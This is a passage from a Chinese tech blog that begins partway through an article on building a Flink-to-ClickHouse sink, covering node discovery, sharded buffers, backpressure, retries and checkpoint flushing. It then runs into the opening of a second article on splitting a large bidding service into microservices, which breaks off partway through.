                dataSourceMap.remove(ip);
                ds.close();
            }
        });
    }
}

核心逻辑:

  1. 动态节点发现: 从 system.clusters 查询所有节点。
  2. 自动扩缩容: 节点上线自动加入,下线自动剔除。
  3. 故障节点剔除: 通过 APM 监控,自动剔除异常节点。
  4. 负载均衡: 随机选择健康节点,避免热点。

集群节点动态发现(ClusterIpsUtils)

public class ClusterIpsUtils {
    // 从 system.clusters 查询所有节点
    private static final String QUERY_CLUSTER_IPS =
        "select host_address from system.clusters where cluster = 'default'";
    // LoadingCache:定时刷新节点列表(1 小时)
    private final LoadingCache<StringList<String>> clusterIpsCache =
        CacheBuilder.newBuilder()
            .expireAfterAccess(10, TimeUnit.HOURS)
            .refreshAfterWrite(1, TimeUnit.HOURS)
            .build(CacheLoader.asyncReloading(new CacheLoader<>() {
                @Override
                public List<String> load(String dbName) {
                    return queryClusterIps();  // 定时刷新节点列表
                }
            }));
    // 异常节点缓存(1 分钟刷新)
    private final LoadingCache<StringFlinkExceptIpModel> exceptIpsCache =
        CacheBuilder.newBuilder()
            .refreshAfterWrite(1, TimeUnit.MINUTES)
            .build(CacheLoader.asyncReloading(new CacheLoader<>() {
                @Override
                public FlinkExceptIpModel load(String dbName) {
                    return queryExceptIp();  // 从 Redis + APM 查询异常节点
                }
            }));
}

异常节点监控策略:

  • 磁盘使用率 >= 90%: 从 APM 查询 Prometheus 指标,自动加入黑名单。
  • HTTP 连接数 >= 50: 连接数过多说明节点压力大,自动加入黑名单。
  • 人工配置: 通过 Redis 配置手动剔除节点

数据来源:

  1. ClickHouse system.clusters 表: 获取所有集群节点。
  2. APM Prometheus 接口: 监控节点健康状态。
  3. Redis 缓存: 人工配置的异常节点。

负载均衡优化

public class ClickHouseWriter {
    public <T> ClickHouseWriter(...) {
        // Shuffle:随机打乱数据源顺序
        Collections.shuffle(clickHouseDataSources);
        this.clickHouseDataSources = clickHouseDataSources;
    }
    public HikariDataSource getNextDataSource(Set<String> exceptionHosts) {
        // 轮询 + 随机选择(已 shuffle,避免热点)
        int current = this.currentRandom.getAndIncrement();
        if (current >= clickHouseDataSources.size()) {
            this.currentRandom.set(0);
        }
        return clickHouseDataSources.get(currentRandom.get());
    }
}

优势:

  • 初始化时 shuffle,避免所有 writer 同时从第一个节点开始。
  • 轮询 + 随机选择,负载分散更均匀。
  • 故障节点自动剔除。

四、支持分表策略

分片策略抽象

public abstract class ClickHouseShardStrategy<T> {
    private String tableName;      // 表名模板,如 "tb_log_%s"
    private Integer tableCount;    // 分表数量
    // 根据数据决定目标表名
    public abstract String getTableName(T data);
}

日志分片实现

public class LogClickHouseShardStrategy extends ClickHouseShardStrategy<String> {
    @Override
    public String getTableName(String application) {
        // 表名格式:tb_log_{application}
        // 例如:application = "order-service" -> table = "tb_log_order_service"
        return String.format(
            this.getTableName(),
            application.replace("-""_").toLowerCase()
        );
    }
}

按表(应用)维度的缓冲区

日志侧维度降级为应用名称维度缓冲区,实则因为按照应用分表,

业务方可使用自身分表策略携带表名元数据,进行表维度缓冲。

public class ClickHouseShardSinkBuffer {
    // 按 application 分组的缓冲区(ConcurrentHashMap 保证并发安全)
    private final ConcurrentHashMap<StringClickHouseSinkCounter> localValues;
    public void put(LogModel value) {
        String application = value.getApplication();
        // 1️⃣ 检查是否需要 flush
        if (flushCondition(application)) {
            addToQueue(application); // 触发写入
        }
        // 2️⃣ 添加到缓冲区(线程安全的 compute 操作)
        localValues.compute(application, (k, v) -> {
            if (v == null) v = new ClickHouseSinkCounter();
            v.add(value);
            return v;
        });
    }
    private void addToQueue(String application) {
        localValues.computeIfPresent(application, (k, v) -> {
            // 深拷贝并清空(避免并发修改异常)
            List<LogModel> deepCopy = v.copyValuesAndClear();
            // 构造请求 Blank:application + targetTable + values
            String targetTable = shardStrategy.getTableName(application);
            ClickHouseRequestBlank blank = new ClickHouseRequestBlank(deepCopy, application, targetTable);
            // 放入队列
            writer.put(blank);
            return v;
        });
    }
}

核心设计:

  • 应用隔离: 每个表(应用)独立的 buffer,互不影响。
  • 线程安全: 使用 ConcurrentHashMap.compute()保证并发安全。
  • 深拷贝: List.copyOf() 创建不可变副本,避免并发修改。
  • 批量清空: 一次性取出所有数据,清空计数器。

五、攒批与内存控制

双触发机制

public class ClickHouseShardSinkBuffer {
    private final int maxFlushBufferSize;  // 最大批次大小(如 10000)
    private final long timeoutMillis;      // 超时时间(如 30s)
    // 触发条件检查(满足任一即触发)
    private boolean flushCondition(String application) {
        return localValues.get(application) != null
            && (checkMetaSize(application) || checkTime(application));
    }
    // 条件1:达到批次大小
    private boolean checkMetaSize(String application) {
        return localValues.get(application).getMetaSize() >= maxFlushBufferSize;
    }
    // 条件2:超时
    private boolean checkTime(String application) {
        long current = System.currentTimeMillis();
        return current - localValues.get(application).getInsertTime() > timeoutMillis;
    }
}

批次大小计算

public class ClickHouseSinkCounter {
    private final List<LogModel> values;
    private Long metaSize; // 累计的 metaSize(字节)
    public void add(LogModel value) {
        this.values.add(value);
        this.metaSize += value.getMetaSize(); // 累加 metaSize
    }
    public List<LogModel> copyValuesAndClear() {
        List<LogModel> logModels = List.copyOf(this.values); // 深拷贝(不可变)
        this.values.clear();
        this.metaSize = 0L;
        this.insertTime = System.currentTimeMillis();
        return logModels;
    }
}

关键点:

  • 使用 metaSize(字节数)而非记录数控制批次,内存控制更精确。
  • List.copyOf() 创建不可变副本,避免并发修改。
  • 清空后重置 insertTime,保证超时触发准确性。

带随机抖动的超时

private final long timeoutMillis;
public ClickHouseShardSinkBuffer(..., int timeoutSec, ...) {
    // 基础超时 + 10% 随机抖动(避免惊群效应)
    this.timeoutMillis = TimeUnit.SECONDS.toMillis(timeoutSec)
                      + new SecureRandom().nextInt((int) (timeoutSec * 0.1 * 1000));
}

目的: 避免多个TM 同时触发 flush,造成写入流量峰值。

配置示例

ClickHouseShardSinkBuffer.Builder
    .aClickHouseSinkBuffer()
    .withTargetTable("single_table")  //单表时,可直接使用指定表名
    .withMaxFlushBufferSize(10000)  // 对应字节数
    .withTimeoutSec(30)              // 30 秒超时
    .withClickHouseShardStrategy(new LogClickHouseShardStrategy("table_prefix_%s", 8))  //分表策略时,使用
    // 分表策略可根据业务实际情况进行扩展
    .build(clickHouseWriter);

六、写入限流与流量控制

有界队列设计

public class ClickHouseWriter {
    // 有界阻塞队列
    private final BlockingQueue<ClickHouseRequestBlank> commonQueue;
    public ClickHouseWriter(ClickHouseSinkCommonParams sinkParams, ...) {
        // 队列最大容量配置(默认 10)
        this.commonQueue = new LinkedBlockingQueue<>(sinkParams.getQueueMaxCapacity());
    }
    public void put(ClickHouseRequestBlank params) {
        unProcessedCounter.incrementAndGet();
        // put() 方法在队列满时会阻塞,实现背压
        commonQueue.put(params);
    }
}

背压传导:

线程池并发控制

public class ClickHouseWriter {
    private final int numWriters; // 写入线程数
    private ExecutorService service;
    private void buildComponents() {
        ThreadFactory threadFactory = ThreadUtil.threadFactory("clickhouse-writer");
        service = Executors.newFixedThreadPool(numWriters, threadFactory);
        // 创建多个 WriterTask 并提交
        for (int i = 0; i < numWriters; i++) {
            WriterTask task = new WriterTask(i, commonQueue, sinkParams, futures, unProcessedCounter);
            service.submit(task);
        }
    }
}

WriterTask 消费逻辑

class WriterTask implements Runnable {
    @Override
    public void run() {
        isWorking = true;
        while (isWorking || !queue.isEmpty()) {
            // poll() 超时返回(100ms),避免无限等待
            ClickHouseRequestBlank blank = queue.poll(100, TimeUnit.MILLISECONDS);
            if (blank != null) {
                // 创建 Future 并设置超时(3 分钟)
                CompletableFuture<Boolean> future = new CompletableFuture<>();
                future.orTimeout(3, TimeUnit.MINUTES);
                futures.add(future);
                try {
                    send(blank, future, new HashSet<>());
                } finally {
                    // final 进行未知异常兜底,防止为捕获异常造成future状态不完成,永久阻塞
                    if (!future.isDone()) {
                        future.completeExceptionally(new RuntimeException("Unknown exception"));
                    }
                    queueCounter.decrementAndGet();
                }
            }
        }
    }
}

配置参数

七、重试机制与超时控制

Future 超时控制

public class ClickHouseWriter {
    private final int numWriters; // 写入线程数
    private ExecutorService service;
    private void buildComponents() {
        ThreadFactory threadFactory = ThreadUtil.threadFactory("clickhouse-writer");
        service = Executors.newFixedThreadPool(numWriters, threadFactory);
        // 创建多个 WriterTask 并提交
        for (int i = 0; i < numWriters; i++) {
            WriterTask task = new WriterTask(i, commonQueue, sinkParams, futures, unProcessedCounter);
            service.submit(task);
        }
    }
}

超时策略:

  • Future 超时: 3 分钟(orTimeout)。
  • Socket 超时: 3 分钟(socket_timeout=180000)。
  • 连接超时: 30 秒(connectionTimeout=30000)。

重试逻辑

class WriterTask implements Runnable {
    @Override
    public void run() {
        isWorking = true;
        while (isWorking || !queue.isEmpty()) {
            // poll() 超时返回(100ms),避免无限等待
            ClickHouseRequestBlank blank = queue.poll(100, TimeUnit.MILLISECONDS);
            if (blank != null) {
                // 创建 Future 并设置超时(3 分钟)
                CompletableFuture<Boolean> future = new CompletableFuture<>();
                future.orTimeout(3, TimeUnit.MINUTES);
                futures.add(future);
                try {
                    send(blank, future, new HashSet<>());
                } finally {
                    // final 进行未知异常兜底,防止为捕获异常造成future状态不完成,永久阻塞
                    if (!future.isDone()) {
                        future.completeExceptionally(new RuntimeException("Unknown exception"));
                    }
                    queueCounter.decrementAndGet();
                }
            }
        }
    }
}

重试控制逻辑

private void handleUnsuccessfulResponse(..., Set<String> exceptHosts) {
    // 检查 Future 是否已完成(避免重复完成)
    if (future.isDone()) {
        return;
    }
    if (attemptCounter >= maxRetries) {
        // 达到最大重试次数,标记失败
        future.completeExceptionally(new RuntimeException("Max retries exceeded"));
    } else {
        // 递归重试
        requestBlank.incrementCounter();
        send(requestBlank, future, exceptHosts); // 递归调用,排除失败节点
    }
}

重试策略:

  • 递归重试: 失败后递归调用,直到成功或达到最大次数。
  • 异常节点隔离: 每次重试时排除失败的节点(exceptHosts)。
  • 超时控制: Future 超时(3 分钟)防止永久阻塞。

为什么递归重试是更好的选择

递归重试(当前实现)

队列重试(假设方案)

保证一致性

  // ClickHouseWriter.java:139-158
  while (!futures.isEmpty() || unProcessedCounter.get() > 0) {
      CompletableFuture<Void> future = FutureUtil.allOf(futures);
      future.get(3, TimeUnit.MINUTES);  // 阻塞直到全部完成
  }
  • Checkpoint 时所有数据要么全部成功,要么全部失败。
  • 重启后不会有部分数据重复的问题。

简单可靠

  • 代码逻辑清晰。
  • 对于队列重试且不重复,需要复杂的二阶段提交(这里暂不展开),大幅增加代码复杂度。

性能可接受

class WriterTask implements Runnable {
    @Override
    public void run() {
        while (isWorking || !queue.isEmpty()) {
            ClickHouseRequestBlank blank = queue.poll(100, TimeUnit.MILLISECONDS);
            if (blank != null) {
                // 创建 Future 并设置 3 分钟超时
                CompletableFuture<Boolean> future = new CompletableFuture<>();
                future.orTimeout(3, TimeUnit.MINUTES); // 防止永久阻塞
                futures.add(future);
                try {
                    send(blank, future, new HashSet<>());
                } finally {
                    if (!future.isDone()) {
                        future.completeExceptionally(new RuntimeException("Timeout"));
                    }
                    queueCounter.decrementAndGet();
                }
            }
        }
    }
}
  • 虽然阻塞,但有超时保护。
  • ClickHouse 写入通常很快(秒级)。
  • 网络故障时重试也合理。

避开故障节点

  // ClickHouseWriter.java:259-260
  HikariDataSource dataSource = getNextDataSource(exceptHosts);
  • 递归时可以传递 exceptHosts。
  • 自动避开失败的节点。
  • 提高成功率。

异常节点剔除

// 特殊错误码列表(自动加入黑名单)
private final List<Integer> ignoreHostCodes = Arrays.asList(2101002);
public HikariDataSource getNextDataSource(Set<String> exceptionHosts) {
    if (CollectionUtils.isNotEmpty(exceptionHosts)) {
        // 过滤异常节点
        List<HikariDataSource> healthyHosts = clickHouseDataSources.stream()
            .filter(ds -> !exceptionHosts.contains(getHostFromUrl(ds)))
            .collect(Collectors.toList());
        if (CollectionUtils.isEmpty(healthyHosts)) {
            return null// 所有节点都异常
        }
        return healthyHosts.get(random.nextInt(healthyHosts.size()));
    }
    // 正常轮询(已 shuffle,避免热点)
    return clickHouseDataSources.get(currentRandom.getAndIncrement() % size);
}

故障节点剔除策略:

  1. 错误码 210(网络异常): 自动加入黑名单。
  2. 错误码 1002(连接池异常): 自动加入黑名单。
  3. APM 监控: 磁盘 >= 90%、HTTP 连接 >= 50 的节点。
  4. 手动配置: 通过 Redis 配置剔除。

恢复机制:

  • LoadingCache 定时刷新(1 分钟)。
  • 节点恢复健康后自动从黑名单移除。

重试流程图

八、异常处理模式

两种 Sink 模式

public Sink buildSink(String targetTable, String targetCount, int maxBufferSize) {
    IClickHouseSinkBuffer buffer = ClickHouseShardSinkBuffer.Builder
        .aClickHouseSinkBuffer()
        .withTargetTable(targetTable)
        .withMaxFlushBufferSize(maxBufferSize)
        .withClickHouseShardStrategy(new LogClickHouseShardStrategy(targetTable, count))
        .build(clickHouseWriter);
    // 根据配置选择模式
    if (ignoringClickHouseSendingExceptionEnabled) {
        return new UnexceptionableSink(buffer);  // 忽略异常
    } else {
        return new ExceptionsThrowableSink(buffer); // 抛出异常
    }
}

UnexceptionableSink(忽略异常 - At-Most-Once)

public class UnexceptionableSink implements Sink<LogModel> {
    private final IClickHouseSinkBuffer<LogModel> buffer;
    @Override
    public void put(LogModel message) {
        buffer.put(message);  // 不检查 Future 状态
    }
    @Override
    public void flush() {
        buffer.flush();
    }
}

适用场景:

  • 允许部分数据丢失。
  • 不希望因写入异常导致任务失败。
  • 对数据准确性要求不高(如日志统计)。

语义保证:At-Most-Once(最多一次)

ExceptionsThrowableSink(抛出异常 - At-Least-Once)

public class ExceptionsThrowableSink implements Sink<LogModel> {
    private final IClickHouseSinkBuffer<LogModel> buffer;
    @Override
    public void put(LogModel message) throws ExecutionException, InterruptedException {
        buffer.put(message);
        // 每次写入都检查 Future 状态
        buffer.assertFuturesNotFailedYet();
    }
    @Override
    public void flush() throws ExecutionException, InterruptedException {
        buffer.flush();
    }
}

Future 状态检查:

public void assertFuturesNotFailedYet() throws ExecutionException, InterruptedException {
    CompletableFuture<Void> future = FutureUtil.allOf(futures);
    // 非阻塞检查
    if (future.isCompletedExceptionally()) {
        logger.error("There is something wrong with the future. exist sink now");
        future.get(); // 抛出异常,导致 Flink 任务失败
    }
}

适用场景:

  • 数据准确性要求高。
  • 需要保证所有数据写入成功。
  • 异常时希望 Flink 任务失败并重启。

语义保证:At-Least-Once(至少一次)

Future 清理策略与并发控制

定时检查器

public class ClickHouseSinkScheduledCheckerAndCleaner {
    private final ScheduledExecutorService scheduledExecutorService;
    private final List<CompletableFuture<Boolean>> futures;
    // ⚠️ volatile 保证多线程可见性(关键并发控制点)
    private volatile boolean isFlushing = false;
    public ClickHouseSinkScheduledCheckerAndCleaner(...) {
        // 单线程定时执行器
        scheduledExecutorService = Executors.newSingleThreadScheduledExecutor(factory);
        // 定时执行清理任务(每隔 checkTimeout 秒,默认 30 秒)
        scheduledExecutorService.scheduleWithFixedDelay(getTask(), ...);
    }
    private Runnable getTask() {
        return () -> {
            synchronized (this) {
                //  关键:检查是否正在 flush,避免并发冲突
                if (isFlushing) {
                    return// Checkpoint 期间暂停清理
                }
                // 1️⃣ 清理已完成的 Future
                futures.removeIf(filter);
                // 2️⃣ 触发所有 Buffer 的 flush(检查是否需要写入)
                clickHouseSinkBuffers.forEach(IClickHouseSinkBuffer::tryAddToQueue);
            }
        };
    }
    // Checkpoint flush 前调用(暂停 cleaner)
    public synchronized void beforeFlush() {
        isFlushing = true;
    }
    // Checkpoint flush 后调用(恢复 cleaner)
    public synchronized void afterFlush() {
        isFlushing = false;
    }
}

核心设计:

  • volatile boolean isFlushing: 标志位,协调 cleaner 与 checkpoint 线程。
  • synchronized (this): 保证原子性,避免并发冲突。
  • 单线程执行器: 避免 cleaner 内部并发问题。

并发控制机制

问题场景:

时间轴冲突:
T1: Cleaner 线程正在执行 tryAddToQueue()
T2: Checkpoint 触发,调用 sink.flush()
T3: Cleaner 同时也在执行 tryAddToQueue()
    ├─ 可能导致:数据重复写入
    ├─ 可能导致:Buffer 清空顺序混乱
    └─ 可能导致:Future 状态不一致

解决方案:

// ClickHouseSinkManager.flush()
public void flush() {
    // 1️⃣ 暂停定时清理任务(设置标志)
    clickHouseSinkScheduledCheckerAndCleaner.beforeFlush(); // isFlushing = true
    try {
        // 2️⃣ 执行 flush(此时 cleaner 线程会跳过执行)
        clickHouseWriter.waitUntilAllFuturesDone(falsefalse);
    } finally {
        // 3️⃣ 恢复定时清理任务
        clickHouseSinkScheduledCheckerAndCleaner.afterFlush(); // isFlushing = false
    }
}

并发控制流程:

关键设计点:

  1. volatile 保证可见性: isFlushing 使用 volatile,确保多线程间的可见性。
  2. synchronized 保证原子性: getTask() 整个方法体使用 synchronized (this)。
  3. 标志位协调: 通过 isFlushing 标志实现两个线程间的协调。
  4. finally 确保恢复: 即使 waitUntilAllFuturesDone() 异常,也会在 finally 中恢复 cleaner。

避免的并发问题:

  • 数据重复写入: Cleaner 和 Checkpoint 同时 flush。
  • Buffer 状态不一致: 一边清空一边写入。
  • Future 清理冲突: 正在使用的 Future 被清理。

性能影响:

  • Checkpoint flush 期间,cleaner 暂停执行(通常 1-3 秒)。
  • Cleaner 跳过的周期会在下次正常执行时补偿。
  • 对整体吞吐影响极小(cleaner 间隔通常 30 秒)。

九、Checkpoint 语义保证

为什么 Checkpoint 时必须 Flush?

不 Flush 的后果

不Flush导致数据永久丢失

正确做法

@Override
public void snapshotState(FunctionSnapshotContext context) throws Exception {
    logger.info("start doing snapshot. flush sink to ck");
    // 1. 先 flush buffer(将内存数据写入 ClickHouse)
    if (sink != null) {
        sink.flush();
    }
    // 2. 等待所有写入完成
    if (sinkManager != null && !sinkManager.isClosed()) {
        sinkManager.flush();
    }
    // 此时 Checkpoint 才能标记为成功
    logger.info("doing snapshot. flush sink to ck");
}

Flush 实现与并发协调

public class ClickHouseSinkManager {
    public void flush() {
        //  步骤1:暂停定时清理任务
        clickHouseSinkScheduledCheckerAndCleaner.beforeFlush(); // isFlushing = true
        try {
            //  步骤2:执行 buffer flush + 等待所有写入完成
            clickHouseWriter.waitUntilAllFuturesDone(falsefalse);
        } finally {
            //  步骤3:恢复定时清理任务(finally 确保执行)
            clickHouseSinkScheduledCheckerAndCleaner.afterFlush(); // isFlushing = false
        }
    }
}

并发协调详解:

// cleaner 线程执行流程
synchronized (this) {
    if (isFlushing) {
        return// Checkpoint 期间跳过本次执行
    }
    // 正常执行:清理已完成的 Future + 触发 Buffer flush
    futures.removeIf(filter);
    buffers.forEach(Buffer::tryAddToQueue);
}

关键点:

  • volatile 可见性: isFlushing 使用 volatile 确保 cleaner 线程立即看到状态变化。
  • synchronized互斥: getTask()方法体使用 synchronized (this) 确保原子性。
  • 标志位协调: 通过 beforeFlush() / afterFlush() 管理标志位。
  • finally 保证恢复: 即使 flush 异常,也会在 finally 中恢复 cleaner。

等待所有 Future 完成

public synchronized void waitUntilAllFuturesDone(boolean stopWriters, boolean clearFutures) {
    try {
        // 循环等待:直到所有 Future 完成 + 队列清空
        while (!futures.isEmpty() || unProcessedCounter.get() > 0) {
            CompletableFuture<Void> all = FutureUtil.allOf(futures);
            // 最多等待 3 分钟(与 Future 超时一致)
            all.get(3, TimeUnit.MINUTES);
            // 移除已完成的 Future(非异常)
            futures.removeIf(f -> f.isDone() && !f.isCompletedExceptionally());
            // 检查是否有异常 Future
            if (anyFutureFailed()) {
                break; // 有异常则退出
            }
        }
    } finally {
        if (stopWriters) stopWriters();
        if (clearFutures) futures.clear();
    }
}

关键逻辑:

  • 循环等待直到所有 Future 完成 + 队列清空。
  • 超时 3 分钟(与 Future 超时一致)。
  • 移除已完成的非异常 Future。
  • 有异常时退出循环。

三种 Flush 触发方式对比

Checkpoint 参数配置

// Checkpoint 配置建议
StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
// 启用 Checkpoint(间隔 1 分钟)
env.enableCheckpointing(60000);
// Checkpoint 超时(必须大于 Future 超时 + 重试时间)
// 建议:CheckpointTimeout > FutureTimeout * MaxRetries
env.getCheckpointConfig().setCheckpointTimeout(600000); // 10 分钟
// 一致性模式
env.getCheckpointConfig().setCheckpointingMode(CheckpointingMode.EXACTLY_ONCE);
// 最小间隔(避免过于频繁)
env.getCheckpointConfig().setMinPauseBetweenCheckpoints(30000); // 30 秒
// 最大并发 Checkpoint 数
env.getCheckpointConfig().setMaxConcurrentCheckpoints(1);

语义保证

推荐配置:

生产环境: 使用 ExceptionsThrowableSink + Checkpoint。

允许部分丢失: 使用 UnexceptionableSink。

十、最佳实践与调优

生产配置

// ========== ClickHouse 连接参数 ==========
clickhouse.sink.target-table = tb_logs_local
clickhouse.sink.max-buffer-size104857600        // 批次大小
clickhouse.sink.table-count0                // 0 表示不分表
// ========== 写入性能参数 ==========
clickhouse.sink.num-writers10               // 写入线程数
clickhouse.sink.queue-max-capacity10        // 队列容量
clickhouse.sink.timeout-sec30               // flush 超时
clickhouse.sink.retries10                   // 最大重试次数
clickhouse.sink.check.timeout-sec30         // 定时检查间隔
// ========== 异常处理参数 ==========
clickhouse.sink.ignoring-clickhouse-sending-exception-enabledfalse
clickhouse.sink.local-address-enabledtrue   // 启用本地表写入
// ========== ClickHouse 集群配置 ==========
clickhouse.access.hosts192.168.1.1:8123,192.168.1.2:8123,192.168.1.3:8123
clickhouse.access.user = default
clickhouse.access.password = ***
clickhouse.access.database = dw_xx_xx
clickhouse.access.cluster = default
// ========== HikariCP 连接池配置 ==========
connectionTimeout30000                      // 连接超时 30s
maximumPoolSize20                           // 最大连接数 20
minimumIdle2                                // 最小空闲 2
socket_timeout180000                        // Socket 超时 3mi

性能调优

故障排查

十一、总结

本文深入分析了 Flink ClickHouse Sink 的实现方案,核心亮点包括:

技术亮点

  • 连接池选型: 使用 HikariCP,性能优异,连接管理可靠。
  • Future 超时控制: orTimeout(3min) 防止永久阻塞。
  • 显式资源管理: Connection 和 PreparedStatement 显式关闭,防止连接泄漏。
  • 负载均衡优化: Shuffle 初始化 + 轮询选择,避免热点。
  • 异常处理增强: future.isDone() 检查,避免重复完成。
  • 本地表写入: 动态节点发现 + 故障剔除,写入性能提升。
  • 分片策略: 按表(应用)维度路由,独立缓冲和隔离。
  • 攒批优化: 双触发机制(大小 + 超时)+ 随机抖动。
  • 流量控制: 有界队列 + 线程池,实现背压。
  • 健壮重试: 递归重试 + 异常节点剔除 + 最大重试限制。

Checkpoint 语义

  • At-Least-Once: ExceptionsThrowableSink + Checkpoint。
  • At-Most-Once: UnexceptionableSink。
  • Exactly-Once: 需要配合 ClickHouse 事务(未实现)。

生产建议

  1. 必须: Checkpoint 时 flush,否则会丢数据。
  2. 推荐: 使用 HikariCP + 本地表写入。
  3. 推荐: 配置合理的超时(Future < Socket < Checkpoint)。
  4. 推荐: 监控队列大小、Future 失败率、重试次数。

该方案已在生产环境大规模验证,能够稳定支撑百万级 TPS 的日志写入场景。

往期回顾

1.服务拆分之旅:测试过程全揭秘|得物技术

2.大模型网关:大模型时代的智能交通枢纽|得物技术

3.从“人治”到“机治”:得物离线数仓发布流水线质量门禁实践

4.AI编程实践:从Claude Code实践到团队协作的优化思考|得物技术

5.入选AAAI-PerFM|得物社区推荐之基于大语言模型的新颖性推荐算法

文 /虚白

关注得物技术,每周更新技术干货

要是觉得文章对你有帮助的话,欢迎评论转发点赞~

未经得物技术许可严禁转载,否则依法追究法律责任。

服务拆分之旅:测试过程全揭秘|得物技术

作者 得物技术
2026年2月5日 14:47

一、引言

代码越写越多怎么办?在线等挺急的! Bidding-interface服务代码库代码量已经达到100w行!!

Bidding-interface应用是出价域核心应用之一,主要面向B端商家。跟商家后台有关的出价功能都围绕其展开。是目前出价域代码量最多的服务。

随着出价业务最近几年来的快速发展,出价服务承接的流量虽然都是围绕卖家出价,但是已远远超过卖家出价功能范围。业务的快速迭代而频繁变更给出价核心链路高可用、高性能都带来了巨大的风险。

经总结有如下几个痛点:

  • 核心出价链路未隔离:

    出价链路各子业务模块间代码有不同程度的耦合,迭代开发可扩展性差,往往会侵入到出价主流程代码的改动。每个子模块缺乏独立的封装,而且存在大量重复的代码,每次业务规则调整,需要改动多处,容易出现漏改漏测的问题。

  • 大单体&功能模块定义混乱:

    历史原因上层业务层代码缺乏抽象,代码无法实现复用,需求开发代码量大,导致需求估时偏高,经常出现20+人日的大需求,需求开发中又写出大量重复代码,导致出价服务代码库快速膨胀,应用启动耗时过长,恶性循环。

  • B/C端链路未隔离:

    B端卖家出价链路流量与C端价格业务场景链路流量没有完全隔离,由于历史原因,有些B端出价链路接口代码还存在于price应用中,偶尔B端需求开发会对C端应用做代码变更。存在一定的代码管控和应用权限管控成本。

  • 发布效率影响:

    代码量庞大,导致编译速度缓慢。代码过多,类的依赖关系更为复杂,持续迭代逐步加大编译成本,随着持续迭代,新的代码逻辑 ,引入更多jar 依赖,间接导致项目部署时长变长蓝绿发布和紧急问题处理时长显著增加;同时由于编译与部署时间长,直接影响开发人员在日常迭代中的效率(自测,debug,部署)。

  • 业务抽象&分层不合理:

    历史原因出价基础能力领域不明确,出价底层和业务层分层模糊,业务层代码和出价底层代码耦合严重,出价底层能力缺乏抽象,上层业务扩展需求频繁改动出价底层能力代码。给出价核心链路代码质量把控带来较高的成本, 每次上线变更也带来一定的风险。

以上,对于Bidding服务的拆分和治理,已经箭在弦上不得不发。否则,持续的迭代会继续恶化服务的上述问题。

经过前期慎重的筹备,设计,排期,拆分,和测试。目前Bidding应用经过四期的拆分节奏,已经马上要接近尾声了。服务被拆分成三个全新的应用,目前在小流量灰度放量中。

本次拆分涉及:1000+Dubbo接口,300+个HTTP接口,200+ MQ消息,100+个TOC任务,10+个 DJob任务。

本人是出价域测试一枚,参与了一期-四期的拆分测试工作。

项目在全组研发+测试的ALL IN投入下,已接近尾声。值此之际输出一篇文章,从测试视角复盘下,Bidding服务的拆分与治理,也全过程揭秘下出价域内的拆分测试过程。

二、服务拆分的原则

首先,在细节性介绍Bidding拆分之前。先过大概过一下服务拆分原则:

  • 单一职责原则 (SRP):  每个服务应该只负责一项特定的业务功能,避免功能混杂。

  • 高内聚、低耦合:  服务内部高度内聚,服务之间松耦合,尽量减少服务之间的依赖关系。

  • 业务能力导向:  根据业务领域和功能边界进行服务拆分,确保每个服务都代表一个完整的业务能力。

拆分原则之下,还有不同的策略可以采纳:基于业务能力拆分、基于领域驱动设计 (DDD) 拆分、基于数据拆分等等。同时,拆分时应该注意:避免过度拆分、考虑服务之间的通信成本、设计合理的 API 接口。

服务拆分是微服务架构设计的关键步骤,需要根据具体的业务场景和团队情况进行综合考虑。合理的服务拆分可以提高系统的灵活性、可扩展性和可维护性,而不合理的服务拆分则会带来一系列问题。

三、Bidding服务拆分的设计

如引言介绍过。Bidding服务被拆分出三个新的应用,同时保留bidding应用本身。目前共拆分成四个应用:Bidding-foundtion,Bidding-interface,Bidding-operation和Bidding-biz。详情如下:

  • 出价基础服务-Bidding-foundation:

出价基础服务,对出价基础能力抽象,出价领域能力封装,基础能力沉淀。

  • 出价服务-Bidding-interfaces:

商家端出价,提供出价基础能力和出价工具,提供商家在各端出价链路能力,重点保障商家出价基础功能和出价体验。

  • 出价运营服务-Bidding-operation:

出价运营,重点支撑运营对出价业务相关规则的维护以及平台其他域业务变更对出价域数据变更的业务处理:

  1. 出价管理相关配置:出价规则配置、指定卖家规则管理、出价应急隐藏/下线管理工具等;
  2. 业务大任务:包括控价生效/失效,商研鉴别能力变更,商家直发资质变更,品牌方出价资质变更等大任务执行。
  • 业务扩展服务-Bidding-biz:

更多业务场景扩展,侧重业务场景的灵活扩展,可拆出的现有业务范围:国补采购单出价,空中成单业务,活动出价,直播出价,现订现采业务,预约抢购,新品上线预出价,入仓预出价。

应用拆分前后流量分布情况:

图片

四、Bidding拆分的节奏和目标收益

服务拆分是项大工程,对目前的线上质量存在极大的挑战。合理的排期和拆分计划是重点,可预期的收益目标是灵魂。

经过前期充分调研和规划。Bidding拆分被分成了四期,每期推进一个新应用。并按如下六大步进行:

图片

Bidding拆分目标

  • 解决Bidding大单体问题: 对Bidding应用进行合理规划,完成代码和应用拆分,解决一直以来Bidding大单体提供的服务多而混乱,维护成本高,应用编译部署慢,发布效率低等等问题。
  • 核心链路隔离&提升稳定性: 明确出价基础能力,对出价基础能力下沉,出价基础能力代码拆分出独立的代码库,并且部署在独立的新应用中,实现出价核心链路隔离,提升出价核心链路稳定性。
  • 提升迭代需求开发效率: 完成业务层代码抽象,业务层做组件化配置化,实现业务层抽象复用,降低版本迭代需求开发成本。
  • 实现出价业务应用合理规划: 各服务定位、职能明确,分层抽象合理,更好服务于企/个商家、不同业务线运营等不同角色业务推进。

预期的拆分收益

  • 出价服务应用结构优化:

    完成对Bidding大单体应用合理规划拆分,向下沉淀出出价基础服务应用层,降低出价基础能力维护成功;向上抽离出业务扩展应用层,能够实现上层业务的灵活扩展;同时把面向平台运营和面向卖家出价的能力独立维护;在代码库和应用层面隔离,有效减少版本迭代业务需求开发变更对应用的影响面,降低应用和代码库的维护成本。

  • 完成业务层整体设计,业务层抽象复用,业务层做组件化配置化,提升版本迭代需求开发效率,降低版本迭代需求开发成本:

    按业务类型对业务代码进行分类,统一设计方案,提高代码复用性,支持业务场景变化时快速扩展,以引导降价为例,当有类似降价换流量/降价换销量新的降价场景需求时,可以快速上线,类似情况每个需求可以减少10-20人日开发工作量。

  • 代码质量提升 :

    通过拆分出价基础服务和对出价流程代码做重构,将出价基础底层能力代码与上层业务层代码解耦,降低代码复杂度,降低代码冲突和维护难度,从而提高整体代码质量和可维护性。

  • 开发效率提升 :

